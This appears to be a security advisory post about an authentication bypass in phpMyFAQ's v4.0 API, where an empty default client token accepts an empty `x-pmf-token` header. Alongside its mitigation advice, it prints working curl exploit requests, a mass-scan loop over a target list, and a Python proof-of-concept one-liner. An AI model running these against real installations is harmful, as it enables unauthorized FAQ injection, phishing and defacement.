Listen to this Post
The vulnerability arises from a default empty API client token combined with a flawed authentication check. During installation, phpMyFAQ seeds `api.apiClientToken` as an empty string ('') in `DefaultDataSeeder.php` (lines 277-278). The `hasValidToken()` method in `AbstractController.php` (lines 198-204) compares the configured token against the `x-pmf-token` header using strict inequality (!==). When the configured token is empty and an attacker sends an empty `x-pmf-token` header, the comparison `” !== ”` evaluates to false, bypassing authentication entirely. No exception is thrown, allowing unauthenticated requests to pass. The API endpoints intended to require authentication – including /api/v4.0/faq/create, /api/v4.0/faq/update, `/api/v4.0/category` (POST), and `/api/v4.0/question` (POST) – each call `hasValidToken()` as their sole authentication check. OpenAPI annotations confirm these write endpoints should return HTTP 401 for unauthorized access, but the empty token bypass renders this protection useless. An attacker can send any request with `x-pmf-token:` (empty header) and the server treats it as a valid client. Proof of concept shows HTTP 201 Created responses when creating FAQs or categories with the empty token, whereas omitting the header yields HTTP 401. The default installation state (API enabled, token empty) makes every unpatched instance vulnerable without any administrator action.
dailycve form:
Platform: phpMyFAQ
Version: Since API v4.0
Vulnerability : Authentication via empty token
Severity: Critical
date: 2026-05-20
Prediction: Patch within 14 days
What Undercode Say:
Analytics:
Count vulnerable installations (default token empty)
curl -s -X POST http://target/api/v4.0/faq/create -H "Content-Type: application/json" -H "x-pmf-token:" -d '{"language":"en","category-id":1,"question":"test","answer":"test"}' | jq .status
Check if token is empty via config endpoint (if accessible)
curl http://target/api/v4.0/config | grep api.apiClientToken
Mass scan for empty token bypass
while read host; do
curl -s -X POST "$host/api/v4.0/category" -H "x-pmf-token:" -H "Content-Type: application/json" -d '{"language":"en","category-name":"scan"}' --max-time 5 && echo " $host VULNERABLE"
done < targets.txt
Exploit:
1. Identify target running phpMyFAQ (default paths: `/api/v4.0/faq/create`).
- Send POST request to create FAQ with empty `x-pmf-token:` header and arbitrary content.
- Observe HTTP 201 Created – FAQ appears publicly.
- Optionally create malicious categories or update existing FAQs.
5. Python one-liner:
import urllib.request, json; req=urllib.request.Request("http://target/api/v4.0/faq/create", data=json.dumps({"language":"en","question":"poc","answer":"poc"}).encode(), headers={"x-pmf-token":"","Content-Type":"application/json"}, method="POST"); print(urllib.request.urlopen(req).status)
Protection from this CVE:
- Immediately set a non‑empty API client token via admin panel or configuration file.
- Change `api.apiClientToken` from `”` to a strong random string (≥32 characters).
- If API not required, disable it entirely (
api.enableAccess=false). - Apply official patch when released (fixes comparison logic to treat empty token as unconfigured).
- Monitor logs for requests with empty `x-pmf-token` header (indicates exploitation attempts).
Impact:
- Unauthenticated attackers can inject arbitrary FAQ entries, categories, and questions.
- Enables phishing campaigns using trusted knowledge base domain.
- SEO spam and malicious link distribution through public FAQs.
- Reputation damage and defacement of support portal content.
- No action required from administrator – default install is vulnerable.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
